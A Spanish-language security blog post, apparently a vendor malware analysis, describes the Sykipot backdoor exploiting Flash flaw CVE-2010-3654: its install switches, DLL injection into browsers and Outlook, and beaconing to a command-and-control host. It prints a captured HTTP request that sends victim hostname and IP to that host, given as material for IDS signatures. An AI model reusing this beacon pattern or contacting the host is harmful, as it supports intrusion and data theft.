Adobe ha publicado una advertencia sobre una vulnerabilidad crítica en Flash Player que los cibercriminales ya han comenzado a explotar. El número CVE asignado a esta vulnerabilidad es CVE-2010-3654. Adobe está preparando un parche para este problema. El exploit que aprovecha esta falla no es muy sofisticado pero trae muchas sorpresas.
Cuando se lo ejecuta, el bot busca opciones de líneas de comando. La opción ‘-installkys’ instala el bot en el equipo de la víctima. Curiosamente, el malware está programado para eliminarse del sistema por completo si usas el parámetro ‘-removekys’. Entonces, el malware se invoca a sí mismo sin ningún parámetro y ejecuta el código malicioso. La imagen de abajo muestra el código que se utiliza para realizar un análisis sintáctico de los parámetros de las líneas de comando.
El binario deja una DLL, el verdadero malware, en el disco duro y busca outlook.exe, iexplore.exe, y firefox.exe en la lista de procesos que se están ejecutando. Si encuentra uno de estos procesos, la DLL se inyecta y ejecuta como un nuevo hilo.
El código inyectado envía una solicitud HTTP a news.mysundayparty.com cada cinco minutos y descarga un archivo de codificación encriptado. La entrada DNS tiene un TTL de 1.800 segundos y cambia la dirección IP cada cierto tiempo. Un archivo de configuración decodificado contiene una lista de comandos para recolectar información sobre el ordenador infectado. El programa codifica esta información y la envía al servidor. Este es un archivo de configuración decodificado:
Al buscar en Internet cadenas de caracteres de este archivo aparecieron conexiones interesantes con un programa malicioso que se estaba difundiendo a principios de este año. El anterior bot también explotaba una vulnerabilidad antes desconocida, recolectaba información sobre el ordenador infectado y la enviaba a su amo. Una versión aún más antigua también explotaba otra vulnerabilidad desconocida de Flash.
Lo bueno es que cada descarga de configuración contiene toda la información necesaria para rastrear los ordenadores infectados de una red. Abajo mostramos una solicitud de HTTP GET. La ruta contiene un parámetro muy peculiar, compuesto por el prefijo ‘-nsunday‘ el nombre de Windows de su víctima y su dirección IP. La sección de referenciasReferer fieldsiempre muestra http://www.yahoo.com/, y la característica orden Accept header. No es muy difícil construir una firma IDS de confianza.
1 2 3 4 5 6 7 |
GET /asp/kys_allow_get.asp?name=getkys.kys&hostname=PC-192.168.0.1-nsunday HTTP/1.1 Referer: http://www.yahoo.com/ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Host: news.mysundayparty.com Cache-Control: no-cache |
Kaspersky detecta el instalador y el DLL como Backdoor.Win32.Sykipot.an. Nuestro análisis heurístico detecta el exploit como Exploit.Script.Generic.
Sykipot explota una nueva vulnerabilidad de Adobe Flash